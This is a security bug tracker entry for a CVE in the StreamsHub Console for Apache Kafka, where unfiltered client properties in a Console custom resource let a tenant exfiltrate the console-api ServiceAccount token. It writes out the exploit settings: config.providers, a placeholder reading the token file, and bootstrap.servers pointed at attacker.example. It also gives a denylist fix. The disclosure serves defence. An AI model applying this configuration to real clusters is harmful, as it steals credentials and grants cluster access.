Bug 2539427 (CVE-2026-96740)
| Summary: | CVE-2026-96740 streamshub/console: console-operator: Streams for Apache Kafka Console: Unfiltered Kafka client properties → SA-token exfiltration via config.providers | ||
|---|---|---|---|
| Product: | [Other] Security Response | Reporter: | OSIDB Bzimport <bzimport> |
| Component: | vulnerability | Assignee: | Product Security DevOps Team <prodsec-dev> |
| Status: | NEW --- | QA Contact: | |
| Severity: | high | Docs Contact: | |
| Priority: | high | ||
| Version: | unspecified | CC: | chfoley, jturenov, security-response-team, swoodman |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | --- | |
| Doc Text: |
A flaw was found in the StreamsHub Console for Apache Kafka. Tenant-supplied Kafka client properties from the Console custom resource are copied into the console-api AdminClient configuration without filtering security-sensitive keys, allowing a Console CR author to set config.providers and bootstrap.servers to exfiltrate the console-api ServiceAccount token to an attacker-controlled broker.
|
Story Points: | --- |
| Clone Of: | Environment: | ||
| Last Closed: | Type: | --- | |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
Unfiltered Kafka client properties → SA-token exfiltration via config.providers Location: operator/src/main/java/com/github/streamshub/console/dependents/support/ConfigSupport.java:63 → api/src/main/java/com/github/streamshub/console/api/ClientFactory.java:571 Attacker: C — any K8s tenant with Console-CR create in one namespace What it is. spec.kafkaClusters[].properties.values[] (and adminProperties/consumerProperties/producerProperties) is a free-form key/value list. ConfigSupport.setConfigVars does target.put(name, value) with no key filter; downstream ClientFactory.buildConfig copies clientProperties and config.getProperties() verbatim into the AdminClient config map. Nothing on either side blocks sasl.*, ssl.*, security.*, bootstrap.servers, or config.providers. Why it's a security flaw. kafka-clients 4.3.1 blocks the JNDI/LDAP JAAS modules, but it does not block config.providers. Setting config.providers=directory, config.providers.directory.class=org.apache.kafka.common.config.provider.DirectoryConfigProvider, sasl.jaas.config=... username="${directory:/var/run/secrets/kubernetes.io/serviceaccount:token}" ... and bootstrap.servers=attacker.example:9092 makes the console-api pod resolve the placeholder to its own SA token and send it in the SASL handshake to an attacker-controlled broker — no JAAS bypass required. That token carries the same ClusterRole as f001. The primitive also chains with f006 (JAVA_TOOL_OPTIONS clears disallowed.login.modules) to reach JNDI RCE. It is subsumed by f001 for attacker C but is an independent code path that survives an image allowlist. Remediation. patches/f003.patch adds a FORBIDDEN_PREFIXES = {"sasl.", "ssl.", "security.", "bootstrap.servers", "config.providers"} denylist (mirroring Strimzi's KafkaConnectSpec forbidden-config pattern) and enforces it in both ConfigSupport.setConfigVars/copyData and in ClientFactory.buildConfig for defence in depth on non-operator deployments.